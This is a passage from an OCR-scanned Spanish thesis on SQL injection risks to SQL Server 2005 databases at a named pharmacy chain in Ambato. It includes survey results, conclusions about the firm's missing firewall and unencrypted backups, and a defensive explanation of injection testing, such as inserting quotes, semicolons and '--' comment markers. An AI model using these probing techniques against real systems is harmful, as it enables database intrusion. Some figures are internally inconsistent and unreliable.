fines no éticos, como por ejemplo el desarrollo de programas con el fin de atentar

contra un sistema informaético.
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Hoy en dia atacar a un equipo informético esta catalogado como algo decididamente
“malo” por mucha gente ajena a la informatica. Sin embargo, desde los inicios de la
computacion, atacar o vulnerar equipos era considerado como la manera de aprobar la
robustez y la estabilidad de un sistema (entre muchos otros motivos), las redes
existian pero, eran pocas y de muy baja velocidad. Los grandes computadores
dominaban la escena de las corporaciones y la confianza en el software que se

ejecutaba, en las redes y actores que cooperaban era comun que se daba por sentado.

Al extenderse la tecnologia en el mundo, la seguridad en base a la confianza fue
dejando paso al software especializado, expertos en seguridad informatica y crackers,
creando virus, malware atacando sistemas en linea y robando informacién y/o dinero
de los usuarios o de las empresas, EI mercado de la seguridad informética esta
viviendo una etapa de crecimiento en todo el mundo y no tiene limites visibles a

mediano plazo.

Maria Luisa Garzon; Esteban Leyva; José Prieto; Maria de los Angeles San palo
(2003,277) Partiendo del hecho de que cualquier sistema informatico en vulnerable
debemos intentar ofrecer la mayor proteccion posible a la red. De esta forma se
pondra todas las barreras que se tenga al alcance para, al menos dificultar la tarea.

Para defenderse del enemigo, se debe primero conocerlo, esto explica que el de la
mayoria de los encargados de la seguridad hayan sido antes hakers.

Un ordenador individual estd expuesto a muchos peligros. Si el ordenador esta
conectado a una red con otros ordenadores, el riesgo a ser atacado se multiplica de
forma exponencial. Ademas los ordenadores en red son usados por muchas personas,

lo que hace incrementar todavia més el riesgo.
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Los peligros que asechan la red se lo puede clasificar de la siguiente manera:
1. Atendiendo al origen de la agresion.
a) Agresiones internas: Es un elemento de la red local el que ataca el sistema.

b) Agresiones externas: Es un elemento ajeno a la red el que arremete contra el

sistema.
2. Atendiendo al tipo de ataque.

a) Ataque pasivo: se obtiene datos de forma fraudulenta, se puede hacer

pinchando la red, interceptando la sefial, etc.

b) Ataque activo: Modificando o eliminando datos. En este caso se debe entrar
al sistema y haber conseguido los permisos necesarios para modificar o

eliminar datos.
3. Atendiendo al elemento que provoca el ataque.

a) Ataque producido por un programa: Un virus, un caballo de Troya un
gusano, e incluso un programa con errores que se ejecuten en el sistema

produce un dafio al mismo.
b) Ataque producido por una persona: Una persona entra al sistema y lo ataca.

c) Ataque producido por un elemento eléctrico electronico natural: Dentro de
este apartado se incluyen maquinas que no funcionan bien y producen
errores, sobre tenciones, caidas de tension, altas temperaturas, humedad,

etc.
4. Atendiendo a la posibilidad de reparacion de dafio provocado.
a) Danio irreparable: No sera posible recuperar los datos o equipos perdidos.

b) Dario reparable: los datos o equipos se pueden recuperar.
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5. Atendiendo al elemento dafado.
a) Software: Se ha dafiado un programa, fichero o datos.
b) Hardware: Se ha estropeado un equipo informético completo o parte de él.
Proteccion fisica.

El robo o sustraccion de material informatico esta a la orden del dia. Como medios de
prevencion se debe instalar sistemas anti robo. Al finalizar la jornada laboral y
durante el descanso, el area de sistemas debe permanecer cerrada.

El acceso a estas salas debe estar controlado por el personal de seguridad. Los
soportes donde se realizan copias de seguridad como discos CD etc. Y el software de

huso habitual, han de guardarse bajo llaves y archivadores preparados para el efecto.

Debe haber una Unica persona para instalar y desinstalar el software cuando sea

necesario.

Otra buena forma es instalar llaves en los ordenadores, sin estas llaves sera dificil

encenderlos.
Proteccion de los datos.

Una vez que protegidas las maquinas. Es conveniente proteger su contenido, proteger

los programas instalados y los datos almacenados en los mismos.

Gran parte de la responsabilidad de este apartado recae sobre los sistemas operativos

que brindan un nivel de seguridad a los datos que el mismo se encarga de administrar.
Copias de Seguridad

Un mecanismo de seguridad indispensable son las copias de seguridad. En una copia
de seguridad se volcan los nuevos datos que se insertan en el sistema, asi siempre

existe la seguridad de recuperar la informacion almacenada en el sistema.
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Las primeras copias de seguridad volcaban completamente el contenido del sistema
en un soporte, las copias que se hacen actualmente son denominadas copias

incrementables. En este tipo de copias solo se graban los datos nuevos en el soporte.

Los soportes en los que se realizan estas copias pueden ser CD'S discos externos,

memory flash etc.

La periodicidad con las que debemos realizar estas copias depende de la cantidad de
informacidn que se genera a lo largo de la jornada. La importancia de la misma, y el
riesgo que provoca al sistema como minimo se debe hacer una copia mensual del
sistema completo, y una copia semanal; para sistemas de gran riesgo o con mucho

movimiento es recomendable realizar copias a diario.

Otro mecanismo de seguridad que resulta interesante aplicar, consiste en tener dos

copias de seguridad por si alguna se deteriora.
Control de acceso

Los sistemas de red son multiusuario. Por ser multiusuario se entiende que muchas
personas acceden al sistema. Por tal motivo es necesario introducir un mecanismo de
control de acceso a los distintos usuarios del sistema. Hay que destacar lo que dice
Sandra (Internet; 02/07/2007; 27/10/2011; 18:42) Los virus han dejado de ser las
Unicas amenazas informaticas serias a las que empresas y usuarios de todo el mundo
tienen que hacer frente. Segun un estudio realizado por la empresa de programas
antivirus Panda Software, en 2004 los virus tendran que compartir protagonismo con
otro tipo de amenazas. Es el caso de los spyware, aplicaciones que cogen datos de los
ordenadores de los usuarios para después venderlos, y de los correos electronicos no
deseados o0 spam. Estos correos no sélo suponen una pérdida de tiempo para los
usuarios, sino que ademas pueden ser utilizados como via de propagacion de un virus

o de cualquier otro tipo de amenaza.
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El 90% de las empresas sufre ataques informaticos

Las pérdidas generadas superan los US$ 40.000 millones al afio, segin revela un
informe de una empresa especializada. De acuerdo al estudio, muchos de los
problemas derivan de errores de empleados de las compafiias.

Para una empresa, “subirse” a la red significa “enfrentarse a un potencial de 20.000
millones de amenazas".

Los especialistas destacan la importancia del “factor humano” en los ataques, ya que
muchas veces los ataques son permitidos por errores de los empleados, que generan
dafios en la informacion almacenada en la red. Segun el informe, los cinco errores
mas comunes de un empleado son: abrir archivos no solicitados, no instalar parches
de seguridad a las herramientas de escritorio utilizadas, instalar protectores de
pantalla o juegos sin conocer su origen, no efectuar respaldos de informacién ni
verificar la integridad de los existentes y usar un médem estando conectado a la red
local. A partir de esos errores, la red interna de una empresa puede sufrir una

intrusion y un consiguiente dafio o fraude.

Entonces un ataque informatico es un intento organizado e intencionado utilizada por
una 0 mas personas para causar dafio o problemas a un sistema informatico o red. Los
ataques suelen ser hechos por bandas llamados "piratas informaticos™ que suelen
atacar para causar dafio, por buenas intenciones, por espionaje, para ganar dinero,

entre otras.

Un ataque informatico consiste en aprovechar alguna debilidad o falla en el software,
en el hardware, e incluso, en las personas que forman parte de un ambiente
informatico; para obtener un beneficio, por lo general de condicion economica,
causando un efecto negativo en la seguridad del sistema, que luego pasa directamente

en los activos de la organizacion.

29



2.4 Hipotesis

La Inyeccion SQL afectaria las vulnerabilidades de seguridad en las bases de datos
SQL server 2005.

2.5 Senalamiento de Variables
VI = Inyeccion SQL

VD = Vulnerabilidad en las bases de datos de SQL server 2005.
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CAPITULO 11l

MARCO METODOLOGICO

3.1 Enfoque

El presente trabajo investigativo tomara un enfoque cuali — cuantitativo por lo

siguiente:

Se considerara mucho la participacion de las personas dentro del problema de la
misma manera se tomara la cultura principios y valores, e interno porque permite
estudiar el problema desde adentro es interpretativa ya que nos permite dar un
contexto de lo que observaremos esto en respecto a lo cualitativo; es normativo ya
que aplicaremos una metodologia para que la sigan, tendra un solo enfoque por lo que
sera nemotécnico ademas sera explicativo pues brindara una forma clara para hacerse

entender ello en respecto a lo cuantitativo.
3.2 Modalidades Basicas de la Investigacion
La presente investigacion tiene las siguientes modalidades:

Modalidad Bibliogréfica o documentada: se ha considerado esta modalidad ya que

se ha utilizado fuentes de libros electrénicos, tesis, Internet, Blogs, revistas, etc.

Modalidad experimental: se ha considerado la relacion de la variable independiente
Técnicas de Seguridad y su influencia y relacién en la variable dependiente Entornos

Informatizados para considerar sus causas y sus efectos.
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Modalidad de campo: se ha considerado esta modalidad ya que el investigador ird a
recoger la informacion primaria directamente de los involucrados a través de una

encuesta o entrevista.

3.3 Tipos de Investigacion

Se ha realizado la investigacion exploratoria ya que permitio plantear el problema de
la investigacion Inyeccion SQL para detectar las vulnerabilidades de seguridad en las
bases de datos SQL server 2005 en las farmacias cruz azul vitalidad de la ciudad de
Ambato como de la misma manera ayudo a plantear la hipétesis la Inyeccion SQL
afectaria las vulnerabilidades de seguridad en las bases de datos SQL server 2005 en

las Farmacias Cruz Azul Vitalidad de la ciudad de Ambato en el afio 2012

Se ha considerado la investigacion descriptiva porque permitié analizar el problema
en sus partes como delimitar en tiempo y en espacio construyendo el analisis critico,
la contextualizacion y los antecedentes investigativos

Por otro lado se ha tomado la investigacion correlacional ya que ha permitido medir
la compatibilidad de la variable independiente que son las Vulnerabilidad en las bases
de datos de SQL server 2005.

3.4 Poblacion y Muestra

El proyecto esta orientado a una poblacién estimada de 5 personas. Esta conformada

por, Cuatro administradores de farmacias y el administrador del sistema.
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3.5 Operacionalizacion de Variables

Hipdtesis: La Inyeccion SQL afectaria las vulnerabilidades de seguridad en las bases de datos SQL server 2005.

Variable independiente: Inyeccién SQL

Concepto

Categorias

Indicadores

items

Técnicas y Instrumento

Inyeccion de codigo
SQL es un tipo de
vulnerabilidad derivada
de un incorrecto
filtrado de los
parametros que trata la
aplicacion 'y  que
permite la ejecucion de
cédigo SQL en el
DBMS (Data

Manager  System -

Base

Sistema Gestor de Base
de Datos )

Tipo
Vulnerabilidad

Filtrado

Cédigo SQL

DBMS

de

Violaciones de acceso de
memoria

Errores de validacion de
entradas

Condiciones de carrera y
escalada de privilegios

SINO

Ejecucion de codigo

Control de redundancia

Cuéles son los tipos de
vulnerabilidades a las
que afecta la inyeccion

sql?

Como optimizar filtros
de fila con parametros
en sgl server 2005?

Como afecta la
inyeccion de codigo sql
en las bd sql server

2005?

Cuéles son las

Encuestas a través de
un cuestionario
aplicado a los
administradores de bd.

Encuesta con un
cuestionario a  los
administradores de bd

Encuesta con un
cuestionario a los
administradores de bd
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Restriccién de los accesos

no autorizados

Cumplimiento de las

restricciones de integridad

caracteristicas que debe
tener un buen gestor de
Bd.?

Encuestas a través de
un cuestionario
aplicado a los
administradores de bd.

Tabla 1. Operacionalizacion de las Variables — Variable independiente.

Elaborado por: Investigador
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Variable Dependiente: Vulnerabilidad en las bases de datos de SQL server 2005.

Concepto

Categorias

Indicadores

Items

Técnicas e Instrumento

Una vulnerabilidad es
considerada como un
agujero de seguridad
debido al fallo en un
programa que permite
mediante su
explotacion violar la
seguridad de un

sistema informatico.

Seguridad

Violacion

seguridades

de

Seguridad de la
plataforma y de la red

Entidades de seguridad
y seguridad de objetos
de base de datos

Seguridad de
aplicaciones

Roles de usuario
Vistas

Qué pasa si no aplican
medidas de seguridad
en las BD SQL server
2005?

Que sucedera si no se
configuran permisos de
acceso a usuarios de

una BD?

Encuesta con un
cuestionario a  los
administradores de BD

Encuesta con un
cuestionario a  los
administradores de BD

Tabla 2. Operacionalizacion de las Variables — Variable dependiente

Elaborado por: Investigador
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3.6 Recoleccion y analisis de la informacion

SECUNDARIA

PRIMARIA

e Se recolectara la informacion de
estudios realizados anteriormente

que reposan en tesis de grado.

e Se obtendra informacién

registrada en documentos vy
material impreso: libros, revistas.

Etc.

e La fuente de informacion son:

Bibliotecas, internet.

e Se recolecta directamente a través
del

administradores y usuarios.

contacto directo con los

Tabla 3. Recoleccion y anélisis de la informacién.

Elaborado por: Investigador

Técnicas de Investigacion.

BIBLIOGRAFICAS

DE CAMPO

o EFEI de

(lectura cientifica)

analisis documentos

e Elfichaje

e Observacion

e Entrevista

e Encuesta

Tabla 4. Técnicas de la Investigacion.

Elaborado por: Investigador

36




Recoleccién de la informacién

PREGUNTAS

EXPLICACION

1. Paraque?

Recolectar informacion primaria para

comprobar y contrastar con al hipdtesis

2. A que personas o0 sujetos?

A los usuarios y administradores de bd

sgl server 2005 de la ciudad de Ambato

3. Sobre qué aspectos?

e Inyeccion SQL

e Base de datos sql server 2005

4. Quién? Investigador
5. Cuando? De acuerdo al cronograma establecido
6. Lugar de recoleccion de la | Administradores de Base de datos de la

informacion?

ciudad de Ambato

7. Cuantas veces? Una sola vez
8. Que técnicas de recoleccion? Encuesta
Entrevista

9. con que?

Cuestionarios

Cedula de la entrevista

10. En qué situacién?

Situacion Normal y cotidiana.

Tabla 5. Recoleccién de la informacion.

Elaborado por: Investigador

37




3.7 Procesamiento y analisis de la informacion
Revision y codificaciones la informacion
Categorizacion y tabulacion dela informacion

e Tabulacién manual

e Tabulacién Computarizada.
Analisis de los datos

e Se utilizara el modelo estadistico Chi cuadrado

e La presentacion de los datos se lo hara a través de graficos y cuadros para

analizar e interpretarlos
Interpretacion de los resultados
1. Describir los resultados

2. Analizar la hipdtesis en relacion con los resultados obtenidos para verificarla

0 rechazarla
3. Estudiar cada uno de los resultados por separado

4. Redactar una sintesis general de los resultados.
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CAPITULO IV
ANALISIS E INTERPRETACION DE RESULTADOS

4.1 Andlisis e interpretacion de resultados

Para la realizacién del analisis e interpretacion de resultados es importante recalcar

que las encuestas se realizaron a 5 personas que laboran en las farmacias cruz azul

vitalidad:
Encuestados Numero
administradores 4
Técnico del sistema 1

Tabla 6. Tabla de personas encuestadas.

Elaborado por: Investigador
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4.2 Andlisis de los resultados de las encuestas Pregunta N.- 1

1. ¢El sistema ha sido vulnerado alguna vez?

N.- | Items Frecuencia %
1. |SI 2 40
2. | NO 3 60
TOTAL: 5 100%

Tabla 7. Frecuencia de la pregunta nimero 1.

Elaborado por: Investigador

Resultados

Figura 4.1. Respuesta - pregunta nimero 1.

Elaborado por: Investigador

Fuente: Estudio de Campo.

Autor: Investigador.
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Interpretacion.

Cuantitativo: De los 5 encuestados el 40% que representan 2 personas nos indica
que el sistema ha sido vulnerado alguna vez, el 60% que representan a 3 personas

nos indica que el sistema no ha sido vulnerado.

Cualitativo: Por eso es necesario mencionar lo que Marcelo Fidel Fernandez
(2008,14) Toda herramienta como un equipo de computo puede ser muy
necesario y Util, para tareas con finalidades como la investigacion, administracion
es decir todos los objetivos que contribuyen al objetivo de un objeto de estudio,
pero también puede ser empleada con fines no éticos, como por ejemplo el

desarrollo de programas con el fin de atentar contra un sistema informatico.

¢Se registran los movimientos o actividades que realizan cada usuario en el

sistema?

N.- | Items Frecuencia %

1. SI 4 80

2. NO 1 20
TOTAL: 5 100%

Tabla 8. Frecuencia de la pregunta nimero 2.
Elaborado por: Investigador
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Resultados

Figura 4.2. Respuesta - pregunta nimero 2.

Elaborado por: Investigador

Fuente: Estudio de Campo.

Autor: Investigador.

Interpretacion.

Cuantitativo: De los 5 encuestados el 80% que representan 4 personas nos indica
que se registran los movimientos que realizan cada usuario en el sistema, el 20%
que representa 1 persona nos indica que no se registran los movimientos que

realizan cada usuario en el sistema.

Cualitativo: Se considera importante lo que manifiesta Janhil Aurora Trejo
Martinez (Internet; 28/09/2009; 22/10/2011; 10:47am ) “Base de Datos es un
conjunto exhaustivo no redundante de datos estructurados organizados
independientemente de su utilizacion y su implementacién en maquina accesibles
en tiempo real y compatibles con usuarios concurrentes con necesidad de
informacion diferente y no predicable en tiempo”.
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3. ¢El sistema funciona en entorno Cliente/Servidor?

N.- | Items Frecuencia %
1. SI 1 20
2. NO 4 80
TOTAL.: 5 100%

Tabla 9. Frecuencia de la pregunta nimero 3.

Elaborado por: Investigador

Resultados

Figura 4.3. Respuesta - pregunta nimero 3.

Elaborado por: Investigador

Fuente: Estudio de Campo.
Autor: Investigador.

Interpretacion.

Cuantitativo: De los 5 encuestados el 20% que representa a 1 persona nos indica
que el sistema funciona en entorno Cliente/Servidor, el 80% que representa a 4

personas nos indica que el sistema no funciona en entorno Cliente/Servidor.
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Cualitativo: Es necesario mencionar lo que en su libro mencionan Alicia Ramos;
Maria Jestis Ramos (2008,177) una arquitectura Cliente servidor, los ordenadores
se combinan en una red de area local con un servidor de Base de datos que
almacena los datos compartidos. Usando SQL que es un lenguaje de Consulta
Estructurado (SQL) que se usa para consultar, actualizar y administrar bases de
datos relacionales, tales como SQL server 2005. Al crear una consulta en la
ventana Consulta, lo que hace SQL server 2005 en realidad es construir una

instruccion SQL equivalente.

4. (El flujo de informacion es diario?

N.- | Items Frecuencia %

1. SI 5 100
2. NO 0 0
TOTAL.: 5 100%

Tabla 10. Frecuencia de la pregunta nimero 4.

Elaborado por: Investigador

. Resultados
0%

Figura 4.4. Respuesta - pregunta nimero 4.

Elaborado por: Investigador
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5.

Fuente: Estudio de Campo.
Autor: Investigador.

Interpretacion.

Cuantitativo: De los 5 encuestados el 100% que representan 5 personas nos

indica que el flujo de informacién es diario.

Cualitativo: Es necesario mencionar lo que en su libro mencionan Alicia Ramos;
Maria Jesus Ramos (2008,177) EIl lenguaje SQL (Structured Query Lenguaje) es
una herramienta para organizar, gestionar y recuperar los datos almacenados en
una base de datos relacional; por tanto permite la comunicacion con el sistema de
gestion de BD. Es tan conocido en Base de datos relacionales que muchos
lenguajes de programacion incorporan sentencias SQL como parte de su

repertorio.

¢Realizan copias de seguridad diariamente?

N.- | Items Frecuencia %
1. SI 2 40
2. NO 3 60
TOTAL.: 15 100%

Tabla 11. Frecuencia de la pregunta nimero 5.

Elaborado por: Investigador
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Resultados

Figura 4.5. Respuesta - pregunta niimero 5.

Elaborado por: Investigador

Fuente: Estudio de Campo.
Autor: Investigador.

Interpretacion.

Cuantitativo: De los 5 encuestados el 40% que representan 2 personas nos indica
que se realizan copias de seguridad diariamente de la informacion, el 60% que
representa a 3 personas nos indica que no se realizan copias de seguridad

diariamente de la informacion.

Cualitativo: Es necesario acotar lo que en su pagina MSDN (internet; 12/12/206;
07/11/2011) Un mecanismo de seguridad indispensable son las copias de
seguridad. En una copia de seguridad volcamos los nuevos datos que insertamos
en el sistema, asi siempre existe la seguridad de recuperar la informacion

almacenada en nuestro sistema.
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6.

¢Utilizan cifrados de seguridad?

N.- | Items Frecuencia %

1. Sl 1 20

2. NO 4 80
TOTAL: 15 100%

Tablal2. Frecuencia de la pregunta niumero 6

Elaborado por: Investigador

Resultados

Figura 4.6. Respuesta - pregunta nimero 6.

Elaborado por: Investigador

Fuente: Estudio de Campo.

Autor: Investigador.

Interpretacion.
Cuantitativo: De los 5 encuestados el 20% que representa 1 persona nos indica
que el sistema utiliza cifrados de seguridad, mientras que el 80% que equivale a 3

personas indican que el sistema no utiliza cifrados de seguridad.
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Cualitativo: Es necesario mencionar lo que en su pagina MSDN (internet;
12/12/206; 07/11/2011) El cifrado no resuelve los problemas de control de
acceso. Sin embargo, mejora la seguridad debido a que limita la pérdida de datos,
los certificados son "claves" de software que se comparten entre dos servidores
que permiten las comunicaciones seguras a traves de una autenticacion segura.
Puede crear y usar certificados en SQL Server para mejorar la seguridad de

objetos y conexiones.
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CAPITULO V

CONCLUSIONES Y RECOMENDACIONES

5.1 Conclusiones

e Lainstitucion actualmente no posee politicas de seguridad, esto evidencia que
la empresa estd expuesta a ser atacada, lo cual puede ocasionar serios

problemas a los activos de la misma.

e Algo positivo es que el sistema registra todos los movimientos que se realizan
en el mismo esto evidencia que se puede saber a ciencia cierta que usuario
realizo algin movimiento en el sistema a traveés de una tabla de auditorias

Ilamada Bitacora.

e Los usuarios valoran que el sistema funcione en un entorno Cliente/Servidor,
puesto que les resulta practico y novedoso. También se ha constatado que es
beneficiosa e interesante la posibilidad de acceso a la Base de Datos, como es
el caso de la empresa en mencion, cuyas actividades resultan més atractivas y

amenas.
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Las copias de seguridad de la informacion que genera la empresa no se la
realiza diariamente, ademas cuando se obtienen los respaldos no son

almacenados de una manera adecuada.

La empresa maneja informacion de sus copias de respaldo sin cifrar, lo cual

expone a un riesgo importante a los datos que maneja la organizacion.

La institucion cuenta con una red interna, pero con carencias de seguridad,
puesto que no existe configurado ningun firewall para controlar el trafico de la

red que impida el acceso no autorizado.

El sistema informatico asi como la informacién que maneja la empresa puede
ser manipulada por cualquier persona, esto incide en un riesgo altamente
elevado, puesto que alguna persona con algin conocimiento en la meteria

podia hacer mal uso de los datos poniendo en riesgo a la organizacion.
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5.2 Recomendaciones

e EI Administrador del sistema deberia implantar de politicas de seguridad,
puesto que resulta imperioso ya que esto permitira definir las
responsabilidades, los requisitos de seguridad, las funciones, y las normas a
seguir orientando as la institucion hacia un uso responsable de los recursos

(ue posee.

e Al administrador del sistema se recomienda que los respaldos se los debe
almacenar en discos externos en un lugar distinto a la sede de su empresa,

porgue en caso de robo o incendio puede perder toda la informacion

e Se recomienda que la empresa convierta el cifrado en un componente estandar
de su proceso de copia de respaldo cuando es necesario trasladar los respaldos
fuera de la empresa, el cifrado de datos de recuperacién y de copias de
respaldo ofrece a las organizaciones una importante capa de proteccion.
Ademas, ofrece tranquilidad y seguridad para los datos de copias de respaldo

independientemente de donde estan ubicados o de qué sucede con ellos.

e EI administrador del sistema deberia crear politicas de acceso a la red del
sistema, asi como de la creacion y de medidas que permitan mantener el la

informacidn que se transporta en la red sea segura.

e Se recomienda desarrollar e implementar Inyeccion SQL para detectar las
vulnerabilidades de seguridad en las bases de datos SQL server 2005 en las

farmacias cruz azul vitalidad de la ciudad de Ambato.
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CAPITULO VI
PROPUESTA
6.1 DATOS INFORMATIVOS
e Titulo

“Inyeccion SQL para detectar las vulnerabilidades de seguridad en las bases de
datos SQL server 2005 en las farmacias cruz azul vitalidad de la ciudad de
Ambato.”

e Institucion Ejecutora
Farmacias cruz azul vitalidad
e Director de Tesis
Ing. Galo Lbpez
e Beneficiarios
Farmacias cruz azul vitalidad

e Ubicacion
Av. Atahualpa y los Chasquis frente a cooperativa cdmara de comercio de
Ambato.
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e Tiempo Estimado para la ejecucion
Fecha de Inicio: Enero del 2012
Fecha de Finalizacion: Junio del 2012
e Equipo técnico responsable
Investigador: David Chicaiza
Tutor: Ing. Galo Lopez
Administrador de la Institucion: Dra. Grimaneza Fonseca
e Costo
Aporte del investigador es de 1,032.573$
6.2 Antecedentes de la Propuesta

La institucion actualmente no posee politicas de seguridad, lo cual puede ocasionar
serios problemas a los activos de la misma ademas las copias de seguridad de la
informacion que genera la empresa no se la realiza diariamente y cuando se obtienen
respaldos no son manejados de una manera adecuada, la red interna posee carencias
de seguridad, puesto que no existe configurado ningun firewall para controlar el
trafico de la red que impida el acceso a personas no autorizadas, puesto que el sistema
informatico asi como la informacion que maneja la empresa utiliza este recurso, esto
evidencia que la empresa esta expuesta a ser atacada, convirtiéndose en un riesgo
potencial, ya que alguna persona con algun conocimiento en la meteria podia hacer

mal uso de los datos poniendo en riesgo a la organizacion

Por tal motivo se hace imperioso la implantacion de politicas de seguridad puesto
que permitira definir las responsabilidades, los requisitos de seguridad, las funciones,
y las normas a seguir orientando a la institucion hacia un uso responsable de los

recursos que posee, respaldando la informacion de una manera adecuada y técnica en
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discos externos en un lugar distinto a la sede de la empresa, porque en caso de robo o
incendio puede perder toda la informacion ademés es recomendable que la empresa
convierta el cifrado en un componente estandar de su proceso de copia de respaldo
cuando es necesario trasladar los respaldos fuera de la empresa, el cifrado de datos de
recuperacion y de copias de respaldo ofrece a las organizaciones una importante capa
de proteccion. Ademas, ofrece tranquilidad y seguridad para los datos de copias de
respaldo independientemente de donde estan ubicados o de qué sucede con ellos.
Crear politicas y realizar un estudio de las vulnerabilidades de seguridad en las BD
del sistema, asi como de la creacion y de medidas que permitan mantener la

informacion protegida.

6.3 Justificacion.

En la actualidad la tecnologia ha ido avanzando aceleradamente a la par de la
masificacion del internet, toda la informacion es almacenada en ordenadores de
manera automatica, con todo el riesgo que se corre al manejar informacion se debe
tener una medidas de proteccién, para poder garantizar la integridad de la

informacién y las tecnologias que facilitan la gestion de la informacion.

Al utilizar Internet como herramienta de comunicacion se amplia el radio de
cobertura de las aplicaciones con bases de datos, permitiendo asi una mayor
accesibilidad a la informacion para los usuarios, pero como la web es un sitio
accesible a la poblacion en general las probleméaticas de seguridad surgen
diariamente y son un dolor de cabeza para cualquier organizacion que utilice este
medio, por tal motivo es necesario elaborar un estudio acerca de las vulnerabilidades
a las que afecta la inyeccién de codigo SQL sobre las bases de datos de SQL server,
este seria de gran ayuda para un administrador de bases de datos, debido al tedioso
trabajo que resulta al momento de controlar el manejo de las transacciones que se

realizan diariamente en las bases de datos, tareas que se realizan diariamente.
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La utilizacion de dicha herramientas seria de suma importancia debido a las grandes
ventajas que se puede obtener al momento de proteger las bases de datos, ademas
apoyara en la deteccion de estos problemas para su correccion por medio de
recomendaciones para permitir mejorar el rendimiento del sistema haciendolo
confiable y menos vulnerable y en un tiempo minimo hard que el sistema se

transforme en un modelo digno de ser imitado por las empresas de la localidad.

También se puede destacar que al mantener la informacién protegida y libre de
amenazas, se asegura que los datos se encuentren integros para que los clientes se
sientan seguros de utilizar la aplicacion repercutiendo asi en ganancias para la

organizacion.

Finalmente se justifica plenamente el presente trabajo pues la investigacion permite
avanzar y seguir fomentando el avance tecnoldgico de las empresas ambatefias

Ilegando asi a un nivel mas alto de productividad.

6.4 Objetivos de la Propuesta

6.4.1 Objetivo General

Documentar un estudio de las vulnerabilidades a las que afecta la inyeccion de codigo
SQL al sistema de gestion de base de datos SQL server.

6.6.2 Objetivos Especificos

e Analizar la teoria de los mecanismos de inyeccion SQL

e Realizar un diagnoéstico de los mecanismos de inyeccion SQL, para determinar

cudl es la que mas efectiva.
e Implementar los resultados para determinar medidas que permitan la prevencion

de ataques de inyeccion SQL.
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6.7  Analisis de Factibilidad
6.5.1 Factibilidad Operativa

Durante el levantamiento de la informacion, se identificaron todas las actividades que
son necesarias para alcanzar el objetivo principal, lo que genero la documentacion de
un estudio de las vulnerabilidades a las que afecta la inyeccion de cédigo SQL al
sistema de gestion de base de datos SQL server, siendo este un problema de
seguridad informatica que debe ser tomado en cuenta para ser prevenido, lo mas
recomendable es aplicar medidas que permitan al sistema evitar ser vulnerado,

evitando asi que la seguridad del sistema puede quedar seriamente comprometida.

6.7.2 Factibilidad Técnica

Es factible técnicamente, puesto que Farmacias cruz azul vitalidad cuenta con
equipos informaticos, que satisfacen todos los requerimientos de hardware y de
software para el desarrollo de la presente investigacion, existe la viabilidad y los
respectivos medios que se usaran para facilitar y el correcto desarrollo del proyecto

antes mencionado.

6.5.8 Econdmico-Financiero

Para la presente investigacion el ambito econdmico es factible, puesto que la empresa
posee el motor de base de datos adquirido anteriormente, La inversién por parte de la

institucion no es necesaria, porque esta cuenta con los recursos necesarios.
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6.6 Fundamentacion Teorica.
6.6.1 Inyeccion SQL

Segun LinuxPartyGroup (Internet; 09/10/2011; 04/02/2012; 10:08) Un ataque de
inyeccion SQL consiste en la insercion o la "inyeccion” de una consulta SQL a través
de los datos de entrada de la aplicacion del cliente. El éxito de explotar una inyeccion
SQL puede ser el de leer datos sensibles de la base de datos, modificar la base de
datos para (Insertar / Actualizar / Borrar), ejecutar operaciones de administracion de
la base de datos (por ejemplo parar el DBMS), recuperar el contenido de un archivo
presente en el sistema de ficheros y/o DBMS, Y hasta en algunos casos, llegar a la

shell (linea) de comandos del sistema operativo.
6.6.2 Deteccion de inyeccion del SQL

El primer paso de esta prueba es entender cuando la aplicacion se conecta con un
servidor de BD para tener acceso a ciertos datos. Los ejemplos tipicos de estos casos

surgen cuando una aplicacion necesita hablar con un BD incluyendo:

« Formas de la autentificacion: Cuando la autentificacion se realiza usando un
formulario web, en ocasiones las credenciales del usuario estan comprobadas
contra una base de datos que contenga todos los nombres del usuario y
contrasefias (0, mejor, los hashes de las contrasefias)

o Motores de la busqueda: las cadenas insertadas por el usuario se podrian
utilizar en una pregunta del SQL que extrae todos los registros relevantes de
una base de datos.

o Sitios de comercio electronico: los productos y sus caracteristicas (precio,
descripcion, disponibilidad,...) serd& muy probable que sean almacenados en

una base de datos relacional.

Se tiene que hacer una lista de todos los campos de entrada cuyos valores podrian ser

utilizados en la elaboracién de una consulta, tratando de interferir con la consulta y
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generar un error. La primera prueba por lo general consiste en afiadir una comilla
simple () o un punto y coma (;) sobre el terreno sometido a la prueba. La primera se
utiliza en SQL como una cadena de terminacion y, de no ser filtrada por la aplicacion,
daria lugar a una pregunta incorrecta. El segundo se utiliza para poner fin a una
instruccion SQL vy, en caso de que no se filtra, también es probable que genere un

error.

6.6.3 Inyecciones de codigo SQL

Segin HackTimes(Internet; 21/01/2010; 27/10/2011; 20:20) Inyeccion de cédigo
SQL es un tipo de vulnerabilidad derivada de un incorrecto filtrado de los parametros
que trata la aplicacion y que permite la ejecucién de cddigo SQL en el DBMS (Data
Base Manager System - Sistema Gestor de Base de Datos). En funcion de los
privilegios que tenga el usuario con el que la aplicacion se conecte a la base de datos
tendremos desde permisos de sélo lectura sobre la base de datos a la que la aplicacion
se conecta de forma original, hasta permisos de lectura y escritura sobre todas las
bases de datos del DBMS e incluso ejecucion de comandos en el sistema, escritura de
ficheros, etc.

Es importante mencionar lo que msdn(Internet; 05/12/2005; 05/11/2011; 22:38)
Inyeccion de codigo SQL es un ataque en el cual se inserta codigo malicioso en las
cadenas que posteriormente se pasan a una instancia de SQL Server para su analisis y
ejecucion. Todos los procedimientos que generan instrucciones SQL deben revisarse
en busca de vulnerabilidades de inyeccion de codigo, ya que SQL Server ejecutara
todas las consultas recibidas que sean véalidas desde el punto de vista sintactico. Un
atacante cualificado y con determinacion puede manipular incluso los datos con

parametros.

La forma principal de inyeccion de codigo SQL consiste en la insercion directa de
codigo en variables especificadas por el usuario que se concatenan con comandos
SQL vy se ejecutan. Existe un ataque menos directo que inyecta cédigo dafino en

cadenas que estan destinadas a almacenarse en una tabla o como metadatos. Cuando
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las cadenas almacenadas se concatenan posteriormente en un comando SQL

dinamico, ejecutandose asi el codigo dafiino.

El proceso de inyeccidn consiste en finalizar prematuramente una cadena de texto y
anexar un nuevo comando. Como el comando insertado puede contener cadenas
adicionales que se hayan anexado al mismo antes de su ejecucion, el atacante pone fin

a la cadena inyectada con una marca de comentario "--".

Cabe destacar lo que afirma Luis Parravicini (2011,73) La inyeccion SQL consiste en
alterar la sentencia SQL que se ejecuta en la base de datos, Utilizando como vehiculo
para el ataque informacion enviada por el usuario. Esto sucede debido a que no
